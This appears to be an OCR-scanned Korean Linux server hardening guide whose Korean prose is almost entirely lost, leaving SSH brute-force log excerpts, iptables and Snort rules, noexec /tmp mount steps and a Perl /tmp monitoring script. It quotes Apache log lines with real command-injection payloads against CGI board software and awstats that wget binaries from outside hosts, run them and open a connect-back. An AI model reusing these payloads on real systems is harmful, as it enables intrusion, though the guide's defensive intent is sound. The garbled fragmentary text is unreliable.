@

ssh

(2) root

(kernel)

(kernel)
2.4.30

# ssh

ssh

—.  ssh

(PermitRootLogin yes)

(antihong@tt.co.kr)

root

root

(brute force)

(brute force)

ssh
root



ssh brute force openssh, ssh2

Apr 15 14:20:44 test sshd(pam_unix)[24182]: authentication failure; logname= uid=0 euid=0
tty=NODEVssh ruser= rhost=xxx.xXxX.XXX.XXx user=admin
Apr 15 14:20:48 test sshd(pam_unix)[24183]: authentication failure; logname= uid=0 euid=0
tty=NODEVssh ruser= rhost=xxx.XXx.XxXX.XxX user=info
Apr 15 14:20:54 test sshd(pam_unix)[24187]: authentication failure; logname= uid=0 euid=0

tty=NODEVssh ruser= rhost=xxx.XXX.XXX.XXX user=root

Mar 31 21:49:10 ns opensshd[13845]: lllegal user temp from XXX.XXX.XXX.XXX
Mar 31 21:49:10 ns opensshd[13845]: Failed password for illegal user temp from

XXX XXX.XXX. XXX port 51014 ssh2

May 8 05:53:32 free8 sshd[613]: connection from " XXX.XXX.XXX.XXX "

May 8 05:53:33 free8 sshd[5987]: password authentication failed. Login to account library not
allowed or account non -existent.

May 8 05:53:35 free8 sshd[613]: connection from " XXX.XXX.XXX.XXX "

May 8 05:53:36 free8 sshd[5989]: password authentication failed. Login to account info not

allowed or account non -existent.

# passwd -l user lock
ssh , IP
. Openssh tcp wrapper , ssh2 AllowHosts
IP
ssh(22/tcp)
iptables IP

192.168.1.0/24




ssh IP

# iptables -A INPUT -p tcp ?s 192.168.1.0/24 --dport 22 ?j ACCEPT
# iptables -A INPUT -p tcp --dport 22 ?j DROP

script ssh scan

http://bluedogsecurity.cyberinfo.se/ssh block/
http://sodaphish.com/files/tattle

snort IDS ssh ,
120 IP 5

alert tcp SEXTERNAL_NET any -> $HOME_NET 22 (msg:"BLEEDING -
EDGE Potential SSH Scan"; flags:S; threshold:type threshold, track
by src, count 5, seconds 120; flowbits:set,ssh.brute.attempt;
classtype:suspicious-login; sid:2001219; rev:9;)

nobody apache

technote , awstat

, , /tmp
/tmp



201.9.xxxX.xxXx - - [28/0ct/2004:10:59:45 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=XXxXxX_XXXX&XXXXXX=|wget%20-
P%20/tmp%20http://xxx.xxxxx.com/cavaleirosb1/xpl/rootedoor| HTTP/1.1" 200 5 "-"
"Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

201.9.xxxX.xxX - - [28/0ct/2004:11:00:10 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxXX_XXXX&XXXXXX=| cd%?20..;cd
%20..;¢cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%
20..;cd%20..;cd %20..;cd%20/tmp;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1"
200 5 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

200.96.xx.xxx - - [26/Jan/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp;
wget%20http://www.nokiacxxxx.cz/dchaOs/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

/tmp . /tmp
(temporary) ,
1777
nobody
(

) :

nobody

/tmp

/tmp

/var/tmp /dev/shm

# find / —-perm 1777 —print

/tmp/



/var/tmp/
/dev/shm
/var/spool/mail
/var/spool/vbox
/var/spool/samba
/var/lib/texmf

/var/spool/vbox /var/spool/samba, /var/lib/texmf

/var/spool/mail 1777
/tmp/  /var/tmp/ , /dev/shm ,
/tmp  /var/tmp
# rm —f /var/tmp
# In —s /tmp /var/tmp
/var/tmp , /tmp
/tmp /dev/shm
s
/etc/fstab
)
/dev/sdalO /tmp ext3 defaults
none /dev/shm tmpfs defaults
)
/dev/sdalO /tmp ext3 defaults,noexec,nosuid
none /dev/shm tmpfs defaults,noexec,nosuid
mount

, suid



# mount —oremount /tmp
# mount —oremount /dev/shm

mount cat /proc/mounts
script
w

#!/usr/bin/perl #1/bin/sh
Sw="w"; w
print $w;

[test.cgi] [test.sh]

755 /tmp

[root@sp /tmp]# ./test.sh
bash: ./test.sh: Permission denied

[root@sp /tmp]# ./test.cqi
bash: ./test.cgi: Permission denied

noexec
/tmp /
/tmp

# cd /dev
# dd if=/dev/zero of=tmpmount bs=1024 count=800000
# mke2fs —j /dev/tmpmount

- ext3 , ext2

# mount -o loop,noexec,nosuid,rw /dev/tmpmount /tmp




# chmod 1777 /tmp/

#ittt /etc/fstab

/dev/tmpmount /tmp xt3 loop,noexec,nosuid,rw 0 0
# df -h
/dev/tmpmount 769M 17M 714M 3% /tmp
/tmp
/tmp /tmp
mysqgl socket /tmp
mysql
# noexec
script kid ,

/usr/bin/perl /bin/sh

$ /usr/bin/perl /tmp/test.cgi
$/bin/sh /tmp/test.sh

noexec
/tmp  /var/tmp
/tmp

noexec
/tmp/

script kid

nobody




#!/usr/bin/perl

$TASK = ~find /tmp -user nobody | grep -v sess_";
$HOSTNAME = ~/bin/hostname~;

$TO_MAIL = 'antihong@tt.co.kr’;

$SUBJECT = "$HOSTNAME backdoor
$MAIL_PROGRAM = "/usr/sbin/sendmail”;

if (FTASK){

&task_confirm;

}

sub task_confirm{

open(MAIL, "|$MAIL_PROGRAM -t");
print MAIL "To: $TO_MAIL \n";
print MAIL "Subject: $SUBJECT \.n\n";
print MAIL " nobody . \n";
print MAIL " .. \n"
print MAIL "Host: $HOSTNAME \n";
print MAIL "$TASK\n";

close(MAIL);

¥

. modsecurity /tmp
filter /tmp
Modsecurity
(http://www.modsecurity.org/)
(http://www.superuser.co.kr/linuxsecurityadmin/)




